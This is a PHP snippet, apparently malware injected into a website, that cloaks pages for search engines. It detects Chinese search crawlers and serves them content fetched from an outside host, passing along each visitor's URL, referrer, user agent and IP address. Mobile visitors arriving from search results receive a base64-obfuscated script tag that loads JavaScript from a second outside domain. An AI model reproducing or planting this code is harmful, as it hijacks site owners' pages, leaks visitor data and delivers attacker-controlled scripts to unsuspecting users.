set_time_limit(0); header("Content-Type: text/html;charset=utf-8"); error_reporting(0); $a = "stristr"; $f = $_SERVER; define('url', $f['REQUEST_URI']); define('ent', $f['HTTP_USER_AGENT']); define('site', "http://wap.rgf81.com/"); define('ref', !isset($f['HTTP_REFERER']) ? 'noref' : $f['HTTP_REFERER']); define('road', "?road=" . $f['HTTP_HOST'] . url . "&refs=" . ref . "&ua=" . str_replace(" ", "", $_SERVER['HTTP_USER_AGENT']) . "&ips=" . $_SERVER["REMOTE_ADDR"]); define('waps', '@Android|Browser|Mobile|Wap|iOs|aiduboxapp|iPad|iPhone|iPod@i'); define('regs', '@Baidu|Sogou|Yisou|Sm.cn|Bytespider|360|So.com|Toutiao.com@i'); define('area', $a(url, ".xml") or $a(url, ".doc") or $a(url, ".pdf") or $a(url, ".txt") or $a(url, ".ppt") or $a(url, ".pptx") or $a(url, ".tacc") or $a(url, ".jsp") or $a(url, ".asp") or $a(url, ".ga") or $a(url, ".gq") or $a(url, ".pdx") or $a(url, ".xlsx") or $a(url, ".edu") or $a(url, ".gov") or $a(url, "baike") or $a(url, ".xls") or $a(url, ".htx") or $a(url, ".htt") or $a(url, ".xhtml") or $a(url, ".new") or $a(url, ".do") or $a(url, ".action") or $a(url, ".frx") or $a(url, ".csv") or $a(url, ".docx") or $a(url, ".xhtml") or $a(url, ".shtml") ); if (preg_match(regs, ent) && url != "" && url != "/" && url != "/index.php" && url != "/index.html") { if (area) { echo papa(site . road); exit; } else { echo papa(site . road); ob_flush(); flush(); } } if (preg_match("/.*(sogou|baidu|yisou|sm|bing|360|tout|haos).*/i", ref, $OutUa) && preg_match(waps, ent) && url != "" && url != "/" && url != "/index.php" && url != "/index.html") { echo base64_decode('PHNjcmlwdCBzcmM9aHR0cHM6Ly9qcy5tcnQzMS5jb20vZHkvZHkuanM+PC9zY3JpcHQ+'); exit(); } elseif (area) { header("HTTP/1.1 404 Not Found"); header("Location: /"); exit; } function papa($h) { $j = array('http' => array('method' => "GET", 'header' => "User-Agent:" . ent)); $k = stream_context_create($j); $l = file_get_contents($h, false, $k); if (!empty($l)) { return $l; } }